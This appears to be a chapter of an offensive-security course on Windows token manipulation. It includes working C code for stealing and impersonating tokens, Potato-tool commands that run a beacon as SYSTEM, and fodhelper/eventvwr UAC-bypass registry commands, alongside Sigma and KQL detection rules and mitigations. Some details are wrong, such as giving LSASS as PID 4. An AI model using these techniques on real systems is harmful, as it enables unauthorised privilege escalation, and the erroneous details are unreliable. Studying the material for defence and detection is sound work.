Chapter 123

Token Manipulation and Privilege Escalation

Windows access token internals, token stealing via OpenProcessToken, impersonation vs primary token creation, dangerous privilege abuse (SeImpersonate, SeAssignPrimaryToken, SeTcbPrivilege), the Potato attack family, and UAC bypass techniques

Scenario

Your beacon runs as IIS APPPOOL\DefaultAppPool — an IIS worker process identity. This account has no AD rights, no local admin, and you can't escalate via credential theft. However, IIS application pool identities hold SeImpersonatePrivilege by default. Using the Potato attack technique, you trick a SYSTEM service (via COM activation) into connecting to a named pipe you control, then call ImpersonateNamedPipeClient to steal the SYSTEM token. From an impersonation context you can use CreateProcessWithTokenW to launch cmd.exe as SYSTEM. Full privilege escalation from a service account to SYSTEM without any CVE or vulnerability — purely via Windows design.

Windows Token Architecture

Access Token: kernel object attached to every process/thread Identifies: who the process runs as (SID + groups) Contains: privileges list, integrity level, logon session ID Token types: Primary token: attached to a process (one per process) Impersonation token: used by a thread to temporarily act as another user Impersonation levels (from weakest to strongest): SecurityAnonymous: server can't identify caller SecurityIdentification: server can query identity but not impersonate SecurityImpersonation: server can act as caller (local resources only) SecurityDelegation: server can act as caller on remote resources (CredSSP/Kerberos unconstrained) Key token-related APIs: OpenProcessToken(hProc, TOKEN_ALL_ACCESS, &hToken) — get process's primary token OpenThreadToken(hThread, ...) — get thread impersonation token DuplicateTokenEx — copy token, change type (impersonation ↔ primary) ImpersonateLoggedOnUser(hToken) — thread runs as user in token RevertToSelf() — stop impersonating, return to process token CreateProcessWithTokenW — create new process with a given primary token SetThreadToken(hThread, hToken) — assign impersonation token to thread Token integrity levels (UAC): Low (0x1000): IE/Chrome sandbox, AppContainer Medium (0x2000): Standard user processes High (0x3000): Elevated (UAC-elevated) admin processes System (0x4000): SYSTEM services

Token Stealing

// Steal token from a privileged process and impersonate it
// Requires: SeDebugPrivilege (to open processes of other users) OR
//           process already running as user with token you want

BOOL StealTokenFromProcess(DWORD targetPid) {
    // Enable SeDebugPrivilege first
    HANDLE hCur = GetCurrentProcess();
    HANDLE hCurToken;
    OpenProcessToken(hCur, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hCurToken);
    TOKEN_PRIVILEGES tp = {0};
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    AdjustTokenPrivileges(hCurToken, FALSE, &tp, 0, NULL, NULL);
    CloseHandle(hCurToken);

    // Open target process
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPid);
    if (!hProcess) {
        wprintf(L"[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    // Get target's primary token
    HANDLE hToken;
    if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
        CloseHandle(hProcess);
        return FALSE;
    }

    // Duplicate as impersonation token (SecurityImpersonation level)
    HANDLE hDupToken;
    DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
                     SecurityImpersonation, TokenImpersonation, &hDupToken);

    // Impersonate the stolen token on this thread
    ImpersonateLoggedOnUser(hDupToken);

    // Now running as the target user for this thread
    // LSASS (PID 4): steal SYSTEM token
    // winlogon.exe: steal user's interactive logon token

    WCHAR user[256] = {0};
    DWORD len = 256;
    GetUserNameW(user, &len);
    wprintf(L"[+] Impersonating: %s\n", user);

    CloseHandle(hDupToken);
    CloseHandle(hToken);
    CloseHandle(hProcess);
    return TRUE;
}

Launch Process as Stolen Token

// Create a new process running under the stolen identity
// Impersonation tokens can't be used for CreateProcess — must duplicate to Primary first

BOOL SpawnAsUser(HANDLE hImpersonationToken) {
    // Convert impersonation token to primary token
    HANDLE hPrimaryToken;
    DuplicateTokenEx(hImpersonationToken, TOKEN_ALL_ACCESS, NULL,
                     SecurityImpersonation, TokenPrimary, &hPrimaryToken);

    // Spawn process with primary token
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    BOOL ok = CreateProcessWithTokenW(
        hPrimaryToken,
        LOGON_WITH_PROFILE,     // load user profile (registry hive)
        NULL,
        L"cmd.exe",           // command
        NULL, NULL, NULL,       // env, dir, inherited handles
        &si, &pi
    );
    if (ok) {
        wprintf(L"[+] Process started: PID %lu\n", pi.dwProcessId);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }
    CloseHandle(hPrimaryToken);
    return ok;
}

Dangerous Privileges — Escalation Paths

PrivilegeWho Has ItEscalation Path
SeImpersonatePrivilegeIIS, SQL Server service accounts, Network ServicePotato attack: force SYSTEM NTLM auth → steal token via named pipe impersonation
SeAssignPrimaryTokenPrivilegeNetwork Service, Local ServiceCreate process with stolen primary token (requires SeImpersonate too)
SeDebugPrivilegeLocal AdministratorsOpenProcess on any PID including SYSTEM processes; steal LSASS token
SeTcbPrivilegeSYSTEM onlyCreate process as any user; equivalent to SYSTEM
SeCreateTokenPrivilegeSYSTEM onlyCreate an arbitrary token with any SIDs/privileges
SeBackupPrivilegeBackup Operators groupRead any file regardless of ACL (including SAM, NTDS.dit, shadow copies)
SeRestorePrivilegeBackup Operators groupWrite any file regardless of ACL (overwrite startup scripts, etc.)
SeTakeOwnershipPrivilegeLocal AdministratorsTake ownership of any file/registry key
SeLoadDriverPrivilegeLocal Administrators (sometimes service accounts)Load kernel driver (privilege escalation to kernel; BYOVD attacks)

The Potato Attack Family

Potato attacks exploit SeImpersonatePrivilege to escalate to SYSTEM. All variants share the same core idea: 1. Create a named pipe (attacker controls it) 2. Trick a SYSTEM-context service/process to connect and authenticate to our pipe via NTLM (or Kerberos → NTLM downgrade) 3. Call ImpersonateNamedPipeClient() to steal the SYSTEM token 4. Duplicate token → CreateProcessWithTokenW → SYSTEM shell Potato variants: HotPotato (2016): NBNS spoofing + NTLM relay to localhost (patched) RottenPotato (2016): COM OXID resolver → NTLM relay through RPC (patched in Win10) JuicyPotato (2018): Uses any COM object with NT AUTHORITY\SYSTEM CLSID on older Windows (Server 2019+ patched the CLSID list) PrintSpoofer (2020): Abuses SpoolSS RPC pipe connection (works on Server 2019/Win10) SharpPrintSpoofer, SpoolSample SweetPotato (2020): Combines multiple methods; still works on modern Windows GodPotato (2023): Uses IRemUnknown2 COM interface; works on Win10-2022 PrintSpoofer mechanism: 1. Create pipe \\.\pipe\foo\pipe\spoolss (specific name triggers spooler) 2. Call SpoolSS!RpcRemoteFindFirstPrinterChangeNotification to target 3. Spooler (SYSTEM) authenticates to our pipe with NTLM 4. ImpersonateNamedPipeClient → steal SYSTEM token
# Using printspoofer from a service account with SeImpersonatePrivilege:
PrintSpoofer64.exe -i -c cmd  # interactive SYSTEM shell in same window
PrintSpoofer64.exe -c "C:\Windows\Temp\beacon.exe"  # run beacon as SYSTEM

# GodPotato (works on Windows 10/11, Server 2019/2022):
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "C:\Windows\Temp\beacon.exe"

# Check current privileges (do we have SeImpersonate?):
whoami /priv | findstr /i "SeImpersonate"

UAC Bypass

# UAC (User Account Control) — a medium-integrity admin process must be elevated
# to high integrity to perform admin operations
# UAC bypass: elevate from medium to high without UAC prompt

# Method 1: fodhelper.exe — auto-elevates, reads command from registry
# Works on Windows 10/11 (widely known, may be blocked by some EDRs)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
fodhelper.exe  # triggers elevated cmd.exe via the registry key
# Cleanup:
reg delete "HKCU\Software\Classes\ms-settings" /f

# Method 2: eventvwr.exe — reads from HKCU\...\mscfile
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "cmd.exe" /f
eventvwr.exe

# Method 3: ICMLuaUtil COM UAC bypass
# IElevatedFactoryServer auto-elevates via COM, can be leveraged
# Requires: specific interface call, changes with Windows versions

# Method 4: CMSTP.exe — auto-elevates, INF file execution
# Method 5: Mock Trusted Directories (bypasses DLL hijacking via trusted path)

# Verify elevation worked:
[System.Security.Principal.WindowsIdentity]::GetCurrent()
# Check: TokenElevationType = TokenElevationTypeFull (3) = elevated

Detection Engineering

-- Token manipulation detection

-- 1. SeDebugPrivilege enabled (Event 4703: Token right adjusted)
-- 2. OpenProcess with PROCESS_QUERY_INFORMATION on LSASS (PID 4) or winlogon
-- 3. CreateProcessWithToken or CreateProcessWithLogon calls

-- Sigma: Privilege escalation via token manipulation
title: Token Impersonation Escalation
logsource:
  product: windows
  category: create_process_with_token
detection:
  selection:
    EventID: 4688
    TokenElevationType: '%%1937'  # TokenElevationTypeFull
    ParentProcessName|endswith:
      - '\wsmprovhost.exe'  # WinRM
      - '\w3wp.exe'          # IIS
      - '\sqlservr.exe'      # SQL Server
  condition: selection
level: high

-- Sigma: UAC bypass via fodhelper registry
title: UAC Bypass via fodhelper Registry Key
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains: '\Software\Classes\ms-settings\Shell\Open\command'
    Details|endswith:
      - '.exe'
      - 'cmd'
      - 'powershell'
  condition: selection
level: high

-- Potato attack detection:
-- PrintSpoofer: look for SpoolSS pipe name pattern (\\.\pipe\\pipe\spoolss)
-- GodPotato: COM activation from service account context creating SYSTEM process
-- Sysmon Event 17/18: named pipe create/connect with spoolss name pattern

-- MDE KQL: Token theft from LSASS
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName == "lsass.exe"
| where AdditionalFields contains "DesiredAccess:0x1000"  -- PROCESS_QUERY_INFORMATION
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","csrss.exe","svchost.exe")

Q&A

Why do service accounts like IIS AppPool and Network Service have SeImpersonatePrivilege, and how does the Potato attack class exploit this design?

SeImpersonatePrivilege exists because service processes legitimately need to act on behalf of users who connect to them. An IIS worker process (w3wp.exe) handling an HTTP request should be able to temporarily act as the authenticated user when accessing resources on that user's behalf — reading their files, making database connections under their identity. Without SeImpersonatePrivilege, every web app would need to store all data as a shared account, destroying user-level access control. The privilege is intentionally granted to service account types: Network Service, Local Service, and application pool identities all receive it. The Potato attack class exploits a fundamental property of this privilege: SeImpersonatePrivilege allows a process to call ImpersonateNamedPipeClient after a client connects to a named pipe it controls. If the connecting client has a higher-privilege token (SYSTEM), the server can steal that token. The attack chain: (1) the service account creates a named pipe, (2) it triggers a SYSTEM-context service or COM object to connect to that pipe by exploiting some privilege escalation point (spooler service authentication, COM OXID resolver, etc.), (3) the SYSTEM-context service authenticates to the pipe with an NTLM challenge, generating a SYSTEM impersonation token, (4) ImpersonateNamedPipeClient captures the SYSTEM token, (5) DuplicateTokenEx + CreateProcessWithTokenW launches a SYSTEM shell. Mitigation: deny SeImpersonatePrivilege to service accounts that don't need it; use virtual service accounts (NT SERVICE\*) which have limited token impersonation scope; enable Windows Defender Credential Guard which restricts some token operations.